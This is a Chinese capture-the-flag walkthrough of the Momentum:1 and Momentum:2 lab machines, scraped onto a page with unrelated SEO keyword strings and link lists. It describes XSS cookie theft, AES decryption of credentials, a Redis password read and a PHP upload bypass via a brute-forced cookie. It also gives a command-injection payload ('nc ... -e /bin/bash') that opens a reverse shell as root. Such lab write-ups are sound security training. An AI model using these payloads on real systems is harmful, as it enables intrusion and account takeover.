当前位置: 首页 > news >正文

网站企业业务员怎么做康保网站制作

网站企业业务员怎么做,康保网站制作,查域名的网站,推广网站怎么做Momentum:1 具体流程 1、主机发现&端口扫描 nmap 192.168.31.157 -A -T4 开放端口22,80。 2、web信息收集 访问80端口。 目录扫描 dirsearch -u http://192.168.31.157/ 没什么收获,换字典or爆破/js二层目录,发现/js/main.js中提示两点&…

Momentum:1

具体流程

1、主机发现&端口扫描

nmap 192.168.31.157 -A -T4  

开放端口22,80。

2、web信息收集

访问80端口。

目录扫描

dirsearch -u http://192.168.31.157/

没什么收获,换字典or爆破/js二层目录,发现/js/main.js中提示两点:

  • window.location.href = "opus-details.php?id="+str

  • crypto-js,AES加密。

    var CryptoJS = require("crypto-js");
    var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
    console.log(decrypted.toString(CryptoJS.enc.Utf8));

'?id='老熟悉了是不是,这里可能有注入,sql or xss。

存在反射型xss。

这种反射型xss当下最多能够得到一个cookie。

回到crypto.js,百度得知这是一个JavaScript的加解密的工具包,支持多种算法:MD5、SHA1、AES等。这里明显就是AES解密,官方文档的解密代码如下:

var decrypted = CryptoJS.AES.decrypt(encrypted, "Secret Passphrase");

需要解密一串字符,已知加密字符串SecretPassphraseMomentum,那需要解密的密文是什么。目前得到的密文只有通过反射型xss获取得到的cookie值cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

解密脚本如下:

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<script>
​var encrypted = "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt"var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");alert(decrypted.toString(CryptoJS.enc.Utf8));
​
</script>

得到一串密码auxerre-alienum##,ssh密码?

3、ssh登录

ssh auxerre@ip

pwd:auxerre-alienum##

get flag1!🎆

4、内网信息收集——提权

通过cat /etc/passwd知道还存在redis用户,查看开放端口,的确开放了6379,尝试redis客户端。

# 本地登录
redis-cli
# 查看一下数据库内存储的键
KEYS *
# get命令查看查询得到的键
GET rootpass

获取一个密码:m0mentum-al1enum##

尝试登录root用户。

get flag2!🎆

Momentum:2

具体流程

1、主机发现&端口扫描

nmap扫描攻击机同网段。nmap 192.168.56.0/24 -Pn

对目标机进行全面扫描,nmap 192.168.56.116 -A -T4,开放端口有22、80。

2、目录扫描

访问80端口的http服务。

目录扫描,dirsearch -u http://192.168.56.116/ -e*

3、文件上传

http://192.168.56.116/dashboard.html,文件上传功能页,测试发现txt文件可成功上传。

想办法上传php文件,通过抓包修改后缀名成功绕过(返回1则上传成功,0则上传失败),上传后保存到哪儿了?

~ Upload Your Research File about Owls这里提示上传文件至owls。果然在/owls/下发现我们上传的文件。

当前只是解决绕过后缀名限制成功上传了,但是无法利用。如何解决,如果有ajax.php代码就好了。dirsearch扫描备份文件,dirsearch -u http://192.168.56.116/ -f -e .php.bak,.zip,.tar,.7z

可以知道ajax.php的逻辑是满足以下两点则php成为白名单后缀:

  1. cookie值满足admin=&G6u@B6uDXMq&Ms+一个大写字母

  2. 请求体secure等于val1d

 //The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
​//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{
​$valid_ext = array("txt");}
​// Remember success upload returns 1 

bp爆破cookie最后一个大写字母,先构造好请求包:

POST /ajax.php HTTP/1.1
Host: 192.168.56.116
Content-Length: 6559
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzWblB0WbTHck2yPX
Accept: */*
Origin: http://192.168.56.116
Referer: http://192.168.56.116/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: admin=&G6u@B6uDXMq&MsX
​
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="secure"
​
val1d
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="file"; filename="kali.php"
Content-Type: application/octet-stream
​
反弹shell内容
------WebKitFormBoundaryzWblB0WbTHck2yPX--

添加payload,进行爆破。

R时响应包返回1,表示上传成功。

上传成功。

反弹成功。

python3 -c 'import pty;pty.spawn("/bin/bash")'

4、内网信息收集

  1. athena和team-tasks两个用户

  2. athena家目录下存在password-reminder.txt,提示password : myvulnerableapp[Asterisk]

  3. user.txt,get flag 1。                                                                                                                 

  4. team-tasks家目录下存在两个文件note.txt和cookie-gen.py。                                                     

5、提权

登录到athena,密码经过测试是myvulnerableapp*(Asterisk是星号)

sudo -l,提示athena可以不需要密码以root权限执行cookie-gen.py。

cookie-gen.py内容如下:

import random
import os
import subprocess
​
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
​
seed = input("Enter the seed : ")
random.seed = seed
​
cookie = ''
for c in range(20):cookie += random.choice(chars)
​
print(cookie)
​
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

常规思路是往这个脚本中写入恶意代码,但是这里没有权限。仔细看了代码知道构造cmd,也就是通过输入seed的值构造命令行。

;nc 192.168.56.109 8888 -e /bin/bash;

nc -lvvp 8888,成功反弹得到root权限,get flag2🎆

http://www.dtcms.com/a/539627.html

相关文章:

  • 深圳国外网站设计进入网上商城
  • 深圳定制开发网站不用下载qq在线qq登录聊天
  • 双语网站后台怎么做网站建设预付款
  • 企业建站模板价格广州海珠做网站
  • 服装行业网站建设比较好沧州网站建设 熊掌号
  • 浙江立鹏建设有限公司网站aso排名优化
  • 在建工程查询网站360广告联盟怎么做网站
  • 网站建设教程资源市场推广方式有哪几种
  • Hdi做指数网站wordpress 效果
  • aspcms手机网站模板江苏网站建设价格
  • 建设网站最好的软件华为云域名注册
  • 顺德电子商务网站建设百度竞价推广托管
  • 免费的创建个人网站制作灯笼英语
  • 个人网站设计规划视觉营销网站
  • 网站怎么做是满屏石家庄招投标公共服务平台官网
  • 淘宝作图在哪个网站上做图开启wordpress upwn
  • 天津住房和城乡建设部网站涟水县建设局网站
  • 长沙做电商网站设计搜索引擎网站录入
  • 网页设计与网站建设郑州大学网站建设网站建设
  • 北京网站备案速度做网站必须先买域名吗
  • 广东专业高端网站建设注释网站开发
  • 网站建设初步规划书网页设计费用
  • 受欢迎的句容网站建设wordpress网银插件
  • 网站建设方案可行性wordpress wp user
  • 烟台网站制作方案长沙便宜网站建设
  • 建设网站答题赚钱外国网站后台设计
  • 珠海网站设计价格策划公司名称
  • 邯郸网站建设包括哪些小红书达人kol推广
  • 企业网站如何上存wordpress自定义分页
  • 网站建设龙岗企业怎样建网站